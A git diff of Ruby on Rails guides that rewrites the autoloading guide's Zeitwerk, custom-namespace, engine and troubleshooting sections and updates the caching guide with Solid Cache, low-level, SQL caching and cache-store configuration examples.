-Because of that, it is not a good idea to autoload constants on application
-initialization.
-
-In the case above we could implement a dynamic access point:
+That technique still depends on `String#camelize`, though, because that is what the default inflectors use as fallback. If you instead prefer not to depend on Active Support inflections at all and have absolute control over inflections, configure the inflectors to be instances of `Zeitwerk::Inflector`:
 
 ```ruby
-# app/models/auth_service.rb
-class AuthService
-  if Rails.env.production?
-    def self.instance
-      RealAuthService
-    end
-  else
-    def self.instance
-      MockedAuthService
-    end
-  end
+Rails.autoloaders.each do |autoloader|
+  autoloader.inflector = Zeitwerk::Inflector.new
+  autoloader.inflector.inflect(
+    "html_parser" => "HTMLParser",
+    "ssl_error"   => "SSLError"
+  )
 end
 ```
 
-and have the application use `AuthService.instance` instead. `AuthService`
-would be loaded on demand and be autoload-friendly.
+There is no global configuration that can affect said instances; they are deterministic.
 
-### `require_dependency` and Initializers
+You can even define a custom inflector for full flexibility. Please check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#custom-inflector) for further details.
 
-As we saw before, `require_dependency` loads files in an autoloading-friendly
-way. Normally, though, such a call does not make sense in an initializer.
+### Where Should Inflection Customization Go?
 
-One could think about doing some [`require_dependency`](#require-dependency)
-calls in an initializer to make sure certain constants are loaded upfront, for
-example as an attempt to address the [gotcha with STIs](#autoloading-and-sti).
+If an application does not use the `once` autoloader, the snippets above can go in `config/initializers`. For example, `config/initializers/inflections.rb` for the Active Support use case, or `config/initializers/zeitwerk.rb` for the other ones.
 
-Problem is, in development mode [autoloaded constants are wiped](#constant-reloading)
-if there is any relevant change in the file system. If that happens then
-we are in the very same situation the initializer wanted to avoid!
+Applications using the `once` autoloader have to move or load this configuration from the body of the application class in `config/application.rb`, because the `once` autoloader uses the inflector early in the boot process.
 
-Calls to `require_dependency` have to be strategically written in autoloaded
-spots.
+Custom Namespaces
+-----------------
 
-### When Constants aren't Missed
+As we saw above, autoload paths represent the top-level namespace: `Object`.
 
-#### Relative References
+Let's consider `app/services`, for example. This directory is not generated by default, but if it exists, Rails automatically adds it to the autoload paths.
 
-Let's consider a flight simulator. The application has a default flight model
+By default, the file `app/services/users/signup.rb` is expected to define `Users::Signup`, but what if you prefer that entire subtree to be under a `Services` namespace? Well, with default settings, that can be accomplished by creating a subdirectory: `app/services/services`.
 
-```ruby
-# app/models/flight_model.rb
-class FlightModel
-end
-```
+However, depending on your taste, that just might not feel right to you. You might prefer that `app/services/users/signup.rb` simply defines `Services::Users::Signup`.
 
-that can be overridden by each airplane, for instance
+Zeitwerk supports [custom root namespaces](https://github.com/fxn/zeitwerk#custom-root-namespaces) to address this use case, and you can customize the `main` autoloader to accomplish that:
 
 ```ruby
-# app/models/bell_x1/flight_model.rb
-module BellX1
-  class FlightModel < FlightModel
-  end
-end
-
-# app/models/bell_x1/aircraft.rb
-module BellX1
-  class Aircraft
-    def initialize
-      @flight_model = FlightModel.new
-    end
-  end
-end
-```
+# config/initializers/autoloading.rb
 
-The initializer wants to create a `BellX1::FlightModel` and nesting has
-`BellX1`, that looks good. But if the default flight model is loaded and the
-one for the Bell-X1 is not, the interpreter is able to resolve the top-level
-`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`.
+# The namespace has to exist.
+#
+# In this example we define the module on the spot. Could also be created
+# elsewhere and its definition loaded here with an ordinary `require`. In
+# any case, `push_dir` expects a class or module object.
+module Services; end
 
-That code depends on the execution path.
-
-These kind of ambiguities can often be resolved using qualified constants:
-
-```ruby
-module BellX1
-  class Plane
-    def flight_model
-      @flight_model ||= BellX1::FlightModel.new
-    end
-  end
-end
+Rails.autoloaders.main.push_dir("#{Rails.root}/app/services", namespace: Services)
 ```
 
-Also, `require_dependency` is a solution:
+Rails < 7.1 did not support this feature, but you can still add this additional code in the same file and get it working:
 
 ```ruby
-require_dependency 'bell_x1/flight_model'
-
-module BellX1
-  class Plane
-    def flight_model
-      @flight_model ||= FlightModel.new
-    end
-  end
-end
+# Additional code for applications running on Rails < 7.1.
+app_services_dir = "#{Rails.root}/app/services" # has to be a string
+ActiveSupport::Dependencies.autoload_paths.delete(app_services_dir)
+Rails.application.config.watchable_dirs[app_services_dir] = [:rb]
 ```
 
-#### Qualified References
+Custom namespaces are also supported for the `once` autoloader. However, since that one is set up earlier in the boot process, the configuration cannot be done in an application initializer. Instead, please put it in `config/application.rb`, for example.
 
-Given
+Autoloading and Engines
+-----------------------
 
-```ruby
-# app/models/hotel.rb
-class Hotel
-end
+Engines run in the context of a parent application, and their code is autoloaded, reloaded, and eager loaded by the parent application. If the application runs in `zeitwerk` mode, the engine code is loaded by `zeitwerk` mode. If the application runs in `classic` mode, the engine code is loaded by `classic` mode.
 
-# app/models/image.rb
-class Image
-end
+When Rails boots, engine directories are added to the autoload paths, and from the point of view of the autoloader, there's no difference. Autoloaders' main inputs are the autoload paths, and whether they belong to the application source tree or to some engine source tree is irrelevant.
 
-# app/models/hotel/image.rb
-class Hotel
-  class Image < Image
-  end
-end
-```
+For example, this application uses [Devise](https://github.com/heartcombo/devise):
 
-the expression `Hotel::Image` is ambiguous because it depends on the execution
-path.
+```bash
+$ bin/rails runner 'pp ActiveSupport::Dependencies.autoload_paths'
+[".../app/controllers",
+ ".../app/controllers/concerns",
+ ".../app/helpers",
+ ".../app/models",
+ ".../app/models/concerns",
+ ".../gems/devise-4.8.0/app/controllers",
+ ".../gems/devise-4.8.0/app/helpers",
+ ".../gems/devise-4.8.0/app/mailers"]
+ ```
 
-As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks
-up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has
-been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image`
-in `Hotel`, but it does in `Object`:
+If the engine controls the autoloading mode of its parent application, the engine can be written as usual.
 
-```
-$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
-Image # NOT Hotel::Image!
-```
+However, if an engine supports Rails 6 or Rails 6.1 and does not control its parent applications, it has to be ready to run under either `classic` or `zeitwerk` mode. Things to take into account:
 
-The code evaluating `Hotel::Image` needs to make sure
-`app/models/hotel/image.rb` has been loaded, possibly with
-`require_dependency`.
+1. If `classic` mode would need a `require_dependency` call to ensure some constant is loaded at some point, write it. While `zeitwerk` would not need it, it won't hurt, it will work in `zeitwerk` mode too.
 
-In these cases the interpreter issues a warning though:
+2. `classic` mode underscores constant names ("User" -> "user.rb"), and `zeitwerk` mode camelizes file names ("user.rb" -> "User"). They coincide in most cases, but they don't if there are series of consecutive uppercase letters as in "HTMLParser". The easiest way to be compatible is to avoid such names. In this case, pick "HtmlParser".
 
-```
-warning: toplevel constant Image referenced by Hotel::Image
-```
+3. In `classic` mode, the file `app/model/concerns/foo.rb` is allowed to define both `Foo` and `Concerns::Foo`. In `zeitwerk` mode, there's only one option: it has to define `Foo`. In order to be compatible, define `Foo`.
 
-This surprising constant resolution can be observed with any qualifying class:
+Testing
+-------
 
-```
-2.1.5 :001 > String::Array
-(irb):1: warning: toplevel constant Array referenced by String::Array
- => Array
-```
+### Manual Testing
 
-WARNING. To find this gotcha the qualifying namespace has to be a class,
-`Object` is not an ancestor of modules.
+The task `zeitwerk:check` checks if the project tree follows the expected naming conventions and it is handy for manual checks. For example, if you're migrating from `classic` to `zeitwerk` mode, or if you're fixing something:
 
-### Autoloading within Singleton Classes
+```bash
+$ bin/rails zeitwerk:check
+Hold on, I am eager loading the application.
+All is good!
+```
 
-Let's suppose we have these class definitions:
+There can be additional output depending on the application configuration, but the last "All is good!" is what you are looking for.
 
-```ruby
-# app/models/hotel/services.rb
-module Hotel
-  class Services
-  end
-end
+### Automated Testing
 
-# app/models/hotel/geo_location.rb
-module Hotel
-  class GeoLocation
-    class << self
-      Services
-    end
-  end
-end
-```
+It is a good practice to verify in the test suite that the project eager loads correctly.
 
-If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb`
-is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the
-nesting when the singleton class of `Hotel::GeoLocation` is opened.
+That covers Zeitwerk naming compliance and other possible error conditions. Please check the [section about testing eager loading](testing.html#testing-eager-loading) in the [_Testing Rails Applications_](testing.html) guide.
 
-But if `Hotel::Services` is not known, Rails is not able to autoload it, the
-application raises `NameError`.
+Troubleshooting
+---------------
 
-The reason is that autoloading is triggered for the singleton class, which is
-anonymous, and as [we saw before](#generic-procedure), Rails only checks the
-top-level namespace in that edge case.
+The best way to follow what the loaders are doing is to inspect their activity.
 
-An easy solution to this caveat is to qualify the constant:
+The easiest way to do that is to include
 
 ```ruby
-module Hotel
-  class GeoLocation
-    class << self
-      Hotel::Services
-    end
-  end
-end
+Rails.autoloaders.log!
 ```
 
-### Autoloading in `BasicObject`
+in `config/application.rb` after loading the framework defaults. That will print traces to standard output.
 
-Direct descendants of `BasicObject` do not have `Object` among their ancestors
-and cannot resolve top-level constants:
+If you prefer logging to a file, configure this instead:
 
 ```ruby
-class C < BasicObject
-  String # NameError: uninitialized constant C::String
-end
+Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log")
 ```
 
-When autoloading is involved that plot has a twist. Let's consider:
+The Rails logger is not yet available when `config/application.rb` executes. If you prefer to use the Rails logger, configure this setting in an initializer instead:
 
 ```ruby
-class C < BasicObject
-  def user
-    User # WRONG
-  end
-end
+# config/initializers/log_autoloaders.rb
+Rails.autoloaders.logger = Rails.logger
 ```
 
-Since Rails checks the top-level namespace `User` gets autoloaded just fine the
-first time the `user` method is invoked. You only get the exception if the
-`User` constant is known at that point, in particular in a *second* call to
-`user`:
+Rails.autoloaders
+-----------------
+
+The Zeitwerk instances managing your application are available at
 
 ```ruby
-c = C.new
-c.user # surprisingly fine, User
-c.user # NameError: uninitialized constant C::User
+Rails.autoloaders.main
+Rails.autoloaders.once
 ```
 
-because it detects that a parent namespace already has the constant (see [Qualified
-References](#autoloading-algorithms-qualified-references)).
-
-As with pure Ruby, within the body of a direct descendant of `BasicObject` use
-always absolute constant paths:
+The predicate
 
 ```ruby
-class C < BasicObject
-  ::String # RIGHT
-
-  def user
-    ::User # RIGHT
-  end
-end
+Rails.autoloaders.zeitwerk_enabled?
 ```
+
+is still available in Rails 7 applications, and returns `true`.
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index fd7626250c29e..73ef3ee20af1f 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -1,69 +1,57 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Caching with Rails: An Overview
 ===============================
 
 This guide is an introduction to speeding up your Rails application with caching.
 
-Caching means to store content generated during the request-response cycle and
-to reuse it when responding to similar requests.
-
-Caching is often the most effective way to boost an application's performance.
-Through caching, web sites running on a single server with a single database
-can sustain a load of thousands of concurrent users.
-
-Rails provides a set of caching features out of the box. This guide will teach
-you the scope and purpose of each one of them. Master these techniques and your
-Rails applications can serve millions of views without exorbitant response times
-or server bills.
-
 After reading this guide, you will know:
 
-* Fragment and Russian doll caching.
+* What caching is.
+* The types of caching strategies.
 * How to manage the caching dependencies.
-* Alternative cache stores.
+* Solid Cache - a database-backed Active Support cache store.
+* Other cache stores.
+* Cache keys.
 * Conditional GET support.
 
 --------------------------------------------------------------------------------
 
-Basic Caching
--------------
+What is Caching?
+----------------
 
-This is an introduction to three types of caching techniques: page, action and
-fragment caching. By default Rails provides fragment caching. In order to use
-page and action caching you will need to add `actionpack-page_caching` and
-`actionpack-action_caching` to your Gemfile.
+Caching means storing content generated during the request-response cycle and
+reusing it when responding to similar requests. It's like keeping your favorite
+coffee mug right on your desk instead of in the kitchen cabinet — it’s ready
+when you need it, saving you time and effort.
 
-By default, caching is only enabled in your production environment. To play
-around with caching locally you'll want to enable caching in your local
-environment by setting `config.action_controller.perform_caching` to `true` in
-the relevant `config/environments/*.rb` file:
+Caching is one of the most effective ways to boost an application's performance.
+It allows websites running on modest infrastructure — a single server with a
+single database — to sustain thousands of concurrent users.
 
-```ruby
-config.action_controller.perform_caching = true
-```
-
-NOTE: Changing the value of `config.action_controller.perform_caching` will
-only have an effect on the caching provided by the Action Controller component.
-For instance, it will not impact low-level caching, that we address
-[below](#low-level-caching).
+Rails provides a set of caching features out of the box which allows you to not
+only cache data, but also to tackle challenges like cache expiration, cache
+dependencies, and cache invalidation.
 
-### Page Caching
+This guide will explore Rails' comprehensive caching strategies, from fragment
+caching to SQL caching. With these techniques, your Rails application can serve
+millions of views while keeping response times low and server bills manageable.
 
-Page caching is a Rails mechanism which allows the request for a generated page
-to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go
-through the entire Rails stack. While this is super fast it can't be applied to
-every situation (such as pages that need authentication). Also, because the
-webserver is serving a file directly from the filesystem you will need to
-implement cache expiration.
+Types of Caching
+----------------
 
-INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching).
+This is an introduction to some of the common types of caching.
 
-### Action Caching
+By default, Action Controller caching is only enabled in your production environment. You can play
+around with caching locally by running `bin/rails dev:cache`, or by setting
+[`config.action_controller.perform_caching`][] to `true` in `config/environments/development.rb`.
 
-Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+NOTE: Changing the value of `config.action_controller.perform_caching` will
+only have an effect on the caching provided by Action Controller.
+For instance, it will not impact low-level caching, that we address
+[below](#low-level-caching-using-rails-cache).
 
-INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+[`config.action_controller.perform_caching`]: configuring.html#config-action-controller-perform-caching
 
 ### Fragment Caching
 
@@ -88,21 +76,17 @@ When your application receives its first request to this page, Rails will write
 a new cache entry with a unique key. A key looks something like this:
 
 ```
-views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901
+views/products/index:bea67108094918eeba42cd4a6e786901/products/1
 ```
 
-The number in the middle is the `product_id` followed by the timestamp value in
-the `updated_at` attribute of the product record. Rails uses the timestamp value
-to make sure it is not serving stale data. If the value of `updated_at` has
-changed, a new key will be generated. Then Rails will write a new cache to that
-key, and the old cache written to the old key will never be used again. This is
-called key-based expiration.
+The string of characters in the middle is a template tree digest. It is a hash
+digest computed based on the contents of the view fragment you are caching. If
+you change the view fragment (e.g., the HTML changes), the digest will change,
+expiring the existing file.
 
-Cache fragments will also be expired when the view fragment changes (e.g., the
-HTML in the view changes). The string of characters at the end of the key is a
-template tree digest. It is an MD5 hash computed based on the contents of the
-view fragment you are caching. If you change the view fragment, the MD5 hash
-will change, expiring the existing file.
+A cache version, derived from the product record, is stored in the cache entry.
+When the product is touched, the cache version changes, and any cached fragments
+that contain the previous version are ignored.
 
 TIP: Cache stores like Memcached will automatically delete old cache files.
 
@@ -115,7 +99,7 @@ If you want to cache a fragment under certain conditions, you can use
 <% end %>
 ```
 
-#### Collection caching
+#### Collection Caching
 
 The `render` helper can also cache individual templates rendered for a collection.
 It can even one up the previous example with `each` by reading all cache
@@ -129,6 +113,23 @@ All cached templates from previous renders will be fetched at once with much
 greater speed. Additionally, the templates that haven't yet been cached will be
 written to cache and multi fetched on the next render.
 
+The cache key can be configured. In the example below, it is prefixed with the
+current locale to ensure that different localizations of the product page
+do not overwrite each other:
+
+```html+erb
+<%= render partial: 'products/product',
+           collection: @products,
+           cached: ->(product) { [I18n.locale, product] } %>
+```
+
+Additionally, you can configure `cached` with an options hash that takes `expires_in` and `key` so you can explicitly set the expiration.
+
+```html+erb
+<%= render partial: 'products/product',
+           collection: @products,
+           cached: { expires_in: 1.hour, key: ->(product) { [I18n.locale, product] } } %>
+```
 
 ### Russian Doll Caching
 
@@ -175,34 +176,144 @@ class Game < ApplicationRecord
 end
 ```
 
-With `touch` set to true, any action which changes `updated_at` for a game
+With `touch` set to `true`, any action which changes `updated_at` for a game
 record will also change it for the associated product, thereby expiring the
 cache.
 
-### Managing dependencies
+### Shared Partial Caching
+
+It is possible to share partials and associated caching between files with different MIME types. For example shared partial caching allows template writers to share a partial between HTML and JavaScript files. When templates are collected in the template resolver file paths they only include the template language extension and not the MIME type. Because of this templates can be used for multiple MIME types. Both HTML and JavaScript requests will respond to the following code:
+
+```ruby
+render(partial: "hotels/hotel", collection: @hotels, cached: true)
+```
+
+Will load a file named `hotels/hotel.erb`.
+
+Another option is to include the `formats` attribute to the partial to render.
+
+```ruby
+render(partial: "hotels/hotel", collection: @hotels, formats: :html, cached: true)
+```
+
+Will load a file named `hotels/hotel.html.erb` in any file MIME type, for example you could include this partial in a JavaScript file.
+
+### Low-Level Caching using `Rails.cache`
+
+Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing any serializable information.
+
+An efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method handles both _reading from_ and _writing to_ the cache. When called with a single argument, it fetches and returns the cached value for the given key. If a block is passed, the block is executed only on a cache miss. The block's return value is written to the cache under the given cache key and returned. In case of cache hit, the cached value is returned directly without executing the block.
+
+Consider the following example. An application has a `Product` model with an instance method that looks up the product's price on a competing website. The data returned by this method would be perfect for low-level caching:
+
+```ruby
+class Product < ApplicationRecord
+  def competing_price
+    Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+```
+
+NOTE: Notice that in this example we used the `cache_key_with_version` method, so the resulting cache key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key_with_version` generates a string based on the model's class name, `id`, and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching, you need to generate a cache key.
+
+Below are some more examples of how to use low-level caching:
+
+```ruby
+# Store a value in the cache
+Rails.cache.write("greeting", "Hello, world!")
+
+# Retrieve the value from the cache
+greeting = Rails.cache.read("greeting")
+puts greeting # Output: Hello, world!
+
+# Fetch a value with a block to set a default if it doesn’t exist
+welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
+puts welcome_message # Output: Welcome to Rails!
+
+# Delete a value from the cache
+Rails.cache.delete("greeting")
+```
+
+#### Avoid Caching Instances of Active Record Objects
+
+Consider this example, which stores a list of Active Record objects representing superusers in the cache:
+
+```ruby
+# super_admins is an expensive SQL query, so don't run it too often
+Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do
+  User.super_admins.to_a
+end
+```
+
+You should __avoid__ this pattern. Why? Because the instance could change. In production, attributes
+on it could differ, or the record could be deleted. And in development, it works unreliably with
+cache stores that reload code when you make changes.
+
+Instead, cache the ID or some other primitive data type. For example:
+
+```ruby
+# super_admins is an expensive SQL query, so don't run it too often
+ids = Rails.cache.fetch("super_admin_user_ids", expires_in: 12.hours) do
+  User.super_admins.pluck(:id)
+end
+User.where(id: ids).to_a
+```
+
+### SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query. If Rails encounters the same query again for that request, it will use
+the cached result set as opposed to running the query against the database
+again.
+
+For example:
+
+```ruby
+class ProductsController < ApplicationController
+  def index
+    # Run a find query
+    @products = Product.all
+
+    # ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+end
+```
+
+The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. However, each retrieval still instantiates new instances of the queried objects.
+
+NOTE: Query caches are created at the start of an action and destroyed at the
+end of that action and thus persist only for the duration of the action. If
+you'd like to store query results in a more persistent fashion, you can with
+low-level caching.
+
+## Managing Dependencies
 
 In order to correctly invalidate the cache, you need to properly define the
 caching dependencies. Rails is clever enough to handle common cases so you don't
 have to specify anything. However, sometimes, when you're dealing with custom
 helpers for instance, you need to explicitly define them.
 
-#### Implicit dependencies
+### Implicit Dependencies
 
 Most template dependencies can be derived from calls to `render` in the template
-itself. Here are some examples of render calls that `ActionView::Digestor` knows
+itself. Here are some examples of render calls that [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html) knows
 how to decode:
 
 ```ruby
 render partial: "comments/comment", collection: commentable.comments
 render "comments/comments"
-render 'comments/comments'
-render('comments/comments')
+render("comments/comments")
 
-render "header" translates to render("comments/header")
+render "header" # translates to render("comments/header")
 
-render(@topic)         translates to render("topics/topic")
-render(topics)         translates to render("topics/topic")
-render(message.topics) translates to render("topics/topic")
+render(@topic)         # translates to render("topics/topic")
+render(topics)         # translates to render("topics/topic")
+render(message.topics) # translates to render("topics/topic")
 ```
 
 On the other hand, some calls need to be changed to make caching work properly.
@@ -218,7 +329,7 @@ to:
 render partial: "documents/document", collection: @project.documents.where(published: true)
 ```
 
-#### Explicit dependencies
+### Explicit Dependencies
 
 Sometimes you'll have template dependencies that can't be derived at all. This
 is typically the case when rendering happens in helpers. Here's an example:
@@ -254,7 +365,7 @@ comment format anywhere in the template, like:
 <% end %>
 ```
 
-#### External dependencies
+### External Dependencies
 
 If you use a helper method, for example, inside a cached block and you then update
 that helper, you'll have to bump the cache as well. It doesn't really matter how
@@ -266,67 +377,211 @@ simply be explicit in a comment, like:
 <%= some_helper_method(person) %>
 ```
 
-### Low-Level Caching
+Solid Cache
+-----------
 
-Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing __any__ kind of information.
+Solid Cache is a database-backed Active Support cache store. It leverages the
+speed of modern [SSDs](https://en.wikipedia.org/wiki/Solid-state_drive) (Solid
+State Drives) to offer cost-effective caching with larger storage capacity and
+simplified infrastructure. While SSDs are slightly slower than RAM, the
+difference is minimal for most applications. SSDs compensate for this by not
+needing to be invalidated as frequently, since they can store much more data. As
+a result, there are fewer cache misses on average, leading to fast response
+times.
 
-The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block.
+Solid Cache uses a FIFO (First In, First Out) caching strategy, where the first
+item added to the cache is the first one to be removed when the cache reaches
+its limit. This approach is simpler but less efficient compared to an LRU (Least
+Recently Used) cache, which removes the least recently accessed items first,
+better optimizing for frequently used data. However, Solid Cache compensates for
+the lower efficiency of FIFO by allowing the cache to live longer, reducing the
+frequency of invalidations.
 
-Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+Solid Cache is enabled by default from Rails version 8.0 and onward. However, if
+you'd prefer not to utilize it, you can skip Solid Cache:
 
-```ruby
-class Product < ApplicationRecord
-  def competing_price
-    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
-      Competitor::API.find_price(id)
-    end
-  end
-end
+```bash
+rails new app_name --skip-solid
 ```
 
-NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
+NOTE: Using the `--skip-solid` flag skips all parts of the Solid
+Trifecta (Solid Cache, Solid Queue, and Solid Cable). If you still
+want to use some of them, you can install them separately. For
+example, if you want to use Solid Queue and Solid Cable but not
+Solid Cache, you can follow the installation guides for [Solid
+Queue](https://github.com/rails/solid_queue#installation) and
+[Solid Cable](https://github.com/rails/solid_cable#installation).
+
+### Configuring the Database
+
+To use Solid Cache, you can configure the database connection in your
+`config/database.yml` file. Here's an example configuration for a SQLite
+database:
 
-### SQL Caching
+```yaml
+production:
+  primary:
+    <<: *default
+    database: storage/production.sqlite3
+  cache:
+    <<: *default
+    database: storage/production_cache.sqlite3
+    migrations_paths: db/cache_migrate
+```
 
-Query caching is a Rails feature that caches the result set returned by each
-query. If Rails encounters the same query again for that request, it will use
-the cached result set as opposed to running the query against the database
-again.
+In this configuration, the `cache` database is used to store cached data. You
+can also specify a different database adapter, like MySQL or PostgreSQL, if you
+prefer.
 
-For example:
+```yaml
+production:
+  primary: &primary_production
+    <<: *default
+    database: app_production
+    username: app
+    password: <%= ENV["APP_DATABASE_PASSWORD"] %>
+  cache:
+    <<: *primary_production
+    database: app_production_cache
+    migrations_paths: db/cache_migrate
+```
 
-```ruby
-class ProductsController < ApplicationController
+If `database` or [`databases`](#sharding-the-cache) is not specified in the
+cache configuration, Solid Cache will use the ActiveRecord::Base connection
+pool. This means that cache reads and writes will be part of any wrapping
+database transaction.
 
-  def index
-    # Run a find query
-    @products = Product.all
+In production, the cache store is configured to use the Solid Cache store by
+default:
 
-    ...
+```yaml
+  # config/environments/production.rb
+  config.cache_store = :solid_cache_store
+```
 
-    # Run the same query again
-    @products = Product.all
-  end
+You can [access the cache by calling
+`Rails.cache`](#low-level-caching-using-rails-cache)
 
-end
+
+### Customizing the Cache Store
+
+Solid Cache can be customized through the config/cache.yml file:
+
+```yaml
+default: &default
+  store_options:
+    # Cap age of oldest cache entry to fulfill retention policies
+    max_age: <%= 60.days.to_i %>
+    max_size: <%= 256.megabytes %>
+    namespace: <%= Rails.env %>
+```
+
+For the full list of keys for store_options see [Cache
+configuration](https://github.com/rails/solid_cache#cache-configuration).
+
+Here, you can adjust the `max_age` and `max_size` options to control the age and
+size of the cache entries.
+
+### Handling Cache Expiration
+
+Solid Cache tracks cache writes by incrementing a counter with each write. When
+the counter reaches 50% of the `expiry_batch_size` from the [Cache
+configuration](https://github.com/rails/solid_cache#cache-configuration), a
+background task is triggered to handle cache expiry. This approach ensures cache
+records expire faster than they are written when the cache needs to shrink.
+
+The background task only runs when there are writes, so the process stays idle
+when the cache is not being updated. If you prefer to run the expiry process in
+a background job instead of a thread, set `expiry_method` from the [Cache
+configuration](https://github.com/rails/solid_cache#cache-configuration) to
+`:job`.
+
+### Sharding the Cache
+
+If you need more scalability, Solid Cache supports sharding — splitting the
+cache across multiple databases. This spreads the load, making your cache even
+more powerful. To enable sharding, add multiple cache databases to your
+database.yml:
+
+```yaml
+# config/database.yml
+production:
+  cache_shard1:
+    database: cache1_production
+    host: cache1-db
+  cache_shard2:
+    database: cache2_production
+    host: cache2-db
+  cache_shard3:
+    database: cache3_production
+    host: cache3-db
+```
+
+Additionally, you must specify the shards in the cache configuration:
+
+```yaml
+# config/cache.yml
+production:
+  databases: [cache_shard1, cache_shard2, cache_shard3]
+```
+
+### Encryption
+
+Solid Cache supports encryption to protect sensitive data. To enable encryption,
+set the `encrypt` value in your cache configuration:
+
+```yaml
+# config/cache.yml
+production:
+  encrypt: true
+```
+
+You will need to set up your application to use [Active Record
+Encryption](active_record_encryption.html).
+
+### Caching in Development
+
+By default, caching is *enabled* in development mode with
+[`:memory_store`](#activesupport-cache-memorystore). This doesn't apply to
+Action Controller caching, which is disabled by default.
+
+To enable Action Controller caching Rails provides the `bin/rails dev:cache`
+command.
+
+```bash
+$ bin/rails dev:cache
+Development mode is now being cached.
+$ bin/rails dev:cache
+Development mode is no longer being cached.
 ```
 
-The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
+If you want to use Solid Cache in development, set the `cache_store`
+configuration in `config/environments/development.rb`:
 
-However, it's important to note that query caches are created at the start of
-an action and destroyed at the end of that action and thus persist only for the
-duration of the action. If you'd like to store query results in a more
-persistent fashion, you can with low level caching.
+```ruby
+config.cache_store = :solid_cache_store
+```
 
-Cache Stores
-------------
+and ensure the `cache` database is created and migrated:
 
-Rails provides different stores for the cached data (apart from SQL and page
-caching).
+```bash
+development:
+  <<: *default
+  database: cache
+```
+
+TIP: To disable caching set `cache_store` to
+[`:null_store`](#activesupport-cache-nullstore)
+
+Other Cache Stores
+------------------
+
+Rails provides different stores for the cached data (with the exception of SQL
+Caching).
 
 ### Configuration
 
-You can set up your application's default cache store by setting the
+You can set up a different cache store by setting the
 `config.cache_store` configuration option. Other parameters can be passed as
 arguments to the cache store's constructor:
 
@@ -334,44 +589,52 @@ arguments to the cache store's constructor:
 config.cache_store = :memory_store, { size: 64.megabytes }
 ```
 
-NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
+Alternatively, you can set `ActionController::Base.cache_store` outside of a configuration block.
 
 You can access the cache by calling `Rails.cache`.
 
-### ActiveSupport::Cache::Store
+#### Connection Pool Options
 
-This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+[`:mem_cache_store`](#activesupport-cache-memcachestore) and
+[`:redis_cache_store`](#activesupport-cache-rediscachestore) are configured to
+use connection pooling. This means that if you're using Puma, or another
+threaded server, you can have multiple threads performing queries to the cache
+store at the same time.
 
-The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+If you want to disable connection pooling, set `:pool` option to `false` when configuring the cache store:
 
-There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+```ruby
+config.cache_store = :mem_cache_store, "cache.example.com", { pool: false }
+```
 
-* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
+You can also override default pool settings by providing individual options to the `:pool` option:
 
-* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+```ruby
+config.cache_store = :mem_cache_store, "cache.example.com", { pool: { size: 32, timeout: 1 } }
+```
 
